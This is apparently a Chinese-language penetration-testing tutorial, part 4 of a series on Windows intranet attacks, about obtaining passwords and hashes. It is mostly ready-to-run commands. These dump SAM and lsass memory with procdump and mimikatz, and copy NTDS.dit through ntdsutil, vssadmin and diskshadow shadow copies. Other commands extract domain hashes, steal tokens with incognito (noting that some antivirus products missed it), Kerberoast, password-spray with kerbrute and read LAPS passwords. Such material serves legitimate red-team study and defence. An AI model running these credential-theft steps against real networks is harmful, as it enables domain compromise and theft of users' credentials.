Mtaun

Windows内网渗透_4.密码获取

4.1、ntlmhash和net-ntlmhash

Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::

user:sid:lmhash:ntlmhash

因为在vista后不再支持lmhash,因此抓到的hash中的lmhash都是aad3b435b51404eeaad3b435b51404ee

在hash传递攻击时,可以替换成0:

00000000000000000000000000000000

ntlmhash我们是可以拿来hash传递的,而net-ntlmhash不可以,但是net-ntlmhash也可以拿来做破解和relay。

4.2、本地用户凭据

a.使用reg命令获取本地用户凭据hash:

reg save  hklm\sam sam.hive
reg  save hklm\system system.hive
reg  save hklm\security security.hive
python secretdump.py -sam sam.hive -security security.hive -system system.hive LOCAL

b.Procdump + mimikatz

procdump.exe -accepteula -ma lsass.exe lsass.dmp #32位系统
procdump.exe -accepteula -64 -ma lsass.exe lsass.dmp #64位系统

mimikatz.exe
sekurlsa::minidump lsass.dmp
sekurlsa::logonPasswords full

4.3、域hash

导出NTDS.dit文件

1.Ntdsutil

Ntdsutil 域控制器默认安装,使管理员能访问和管理 Windows Active Directory 数据库。渗透测试中可以用它来拍摄 ntds.dit 文件的快照

# 创建快照
ntdsutil snapshot "activate instance ntds" create quit quit
GUID 为 {aa488f5b-40c7-4044-b24f-16fd041a6de2}

# 挂载快照
ntdsutil snapshot "mount GUID" quit quit

# 复制 ntds.dit
copy C:\$SNAP_201908200435_VOLUMEC$\windows\NTDS\ntds.dit c:\ntds.dit

# 卸载快照
ntdsutil snapshot "unmount GUID" quit quit

# 删除快照
ntdsutil snapshot "delete GUID" quit quit

# 查询快照
ntdsutil snapshot "List All" quit quit
ntdsutil snapshot "List Mounted" quit quit

2.Vssadmin

域控制器默认安装

# 查询当前系统的快照
vssadmin list shadows

# 创建快照
vssadmin create shadow /for=c: /autoretry=10
"Shadow Copy Volume Name"\\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1
"Shadow Copy ID"{aa488f5b-40c7-4044-b24f-16fd041a6de2}

# 复制 ntds.dit
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\windows\NTDS\ntds.dit c:\ntds.dit

# 删除快照
vssadmin delete shadows /for=c: /quiet

3.Diskshadow

DiskShadow 是由微软官方签名的,Windows Server 2008、2012、2016 都包含了 DiskShadow,所在目录C:\windows\system32\diskshadow.exe。包含交互式命令和脚本模式。

# 查看存放 `ntds.dit` 的逻辑驱动器(一般为 C 盘)
# 找出系统没有使用的逻辑驱动器号
wmic logicaldisk

# 调用脚本
C:\windows\system32\diskshadow.exe /s C:\shadow.txt

shadow.txt 内容

set context persistent nowriters
add volume c: alias someAlias
create
expose %someAlias% z:
exec "C:\windows\system32\cmd.exe" /c copy z:\windows\ntds\ntds.dit c:\ntds.dit
delete shadows volume %someAlias%
reset

ntds.dit 提取 Hash

1.NTDSDumpEx

# 离线模式:先导出注册表
reg save hklm\system system.hiv 
NTDSDumpEx.exe -d ntds.dit -s system.hiv -o hash.txt              

# 在线模式:无需导出注册表 
NTDSDumpEx.exe -d ntds.dit -r -o hash.txt            

2.Impacket

项目地址:https://github.com/SecureAuthCorp/impacket

因为 Kali 的 python 环境安装得比较全,所以使用 Kali 来解 Hash

python secretsdump.py -ntds /home/workspace/hash/ntds.dit -system /home/workspace/hash/sys.hiv LOCAL > /home/workspace/hash/hash.txt

使用 Ntdsutil、Vssadmin 等卷影拷贝工具时,需要先开启 Volume Shadow Copy Service 服务

4.4、token窃取

可根据权限名或者进程名进行token窃取,利用token窃取可以进行nt提权、普通降权、域(管)用户权限获取等操作。

exe

incognito.exe可用于有杀毒、不出网、防火墙限制等无法cs或msf上线情况。

下载incognito.exe:

https://labs.mwrinfosecurity.com/assets/BlogFiles/incognito2.zip

相关文档:

http://labs.mwrinfosecurity.com/assets/142/mwri_security-implications-of-windows-access-tokens_2008-04-14.pdf

本机列举token:

incognito.exe list_tokens -u

大家大多都讨论的是登录到机器上使用incognito.exe窃取token,其实还可以远程连接其他计算机进行token窃取,incognito.exe第一次使用会通过smb把incognito_service.exe放到目标服务器上(测试中360,火绒,电脑管家没有拦截incognito.exe和incognito_service.exe),然后才进行incognito.exe+incognito_service.exe方式进行token窃取,执行cmd.exe可返回来cmd shell。

远程列举token:

incognito.exe -h 172.16.58.143 -u administrator -p “QWEqwe123!@# “ list_tokens -u

提权到nt:

.\incognito.exe -h 172.16.58.143 -u administrator -p “QWEqwe123!@# “ execute -c “NT AUTHORITY\SYSTEM” cmd.exe

同理可用来获取存在的域用户的token权限。

msf

msf中的incognito模块可用于meterpreter上线后的机器。

在msf中,可使用incognito实现token窃取

加载incognito:load incognito

列举token:list_tokens -u

查看当前token:getuid

指定权限窃取:impersonate_token “NT AUTHORITY\SYSTEM”

或指定进程窃取:steal_token 1920

返回之前token:rev2self 或 drop_token

同理可窃取域账户获取域用户权限:

cs

steal_token 命令窃取token

4.5、Kerberoasting

在KRB_TGS_REP中,TGS会返回给Client一张票据ST,而ST是由Client请求的Server端密码进行加密的。当Kerberos协议设置票据为RC4方式加密时,我们就可以通过爆破在Client端获取的票据ST,从而获得Server端的密码。

在上述SPN信息收集中得到一个域用户test注册了一个SPN,我们请求TGS:

powershell

$SPNName  = 'test/test'
Add-Type  -AssemblyNAme System.IdentityModel
New-Object  System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList  $SPNName

图片

再利用mimikatz导出:

kerberos::list /export

图片

然后利用tgsrepcrack暴力破解:

python tgsrepcrack.py wordlist.txt 2-40a10000-win7user@test~test-JUMBOLAB.COM.kirbi

最终成功获取该域用户密码:

图片

4.6、密码喷射

爆破用户:

kerbrute userenum -d jumbolab.com usernames.txt

图片

密码喷射:

kerbrute passwordspray -d jumbolab.com username.txt aA1234567

图片

4.7、LAPS

LocalAdministrator Password Solution是密码解决方案,为了防止一台机器被抓到密码后,然后网内都是同密码机器导致被横向渗透。但是也存在相应的安全隐患,当我们拿下域控时,可以查看计算机本地密码;当权限配置不当时,也会导致其他用户有权限查看他人计算机本地密码:

powershellGet-ADComputer computername -Properties ms-Mcs-AdmPwd select name, ms-Mcs-AdmPwd

如果安装LAPS,在安装的软件列表里能看到:

图片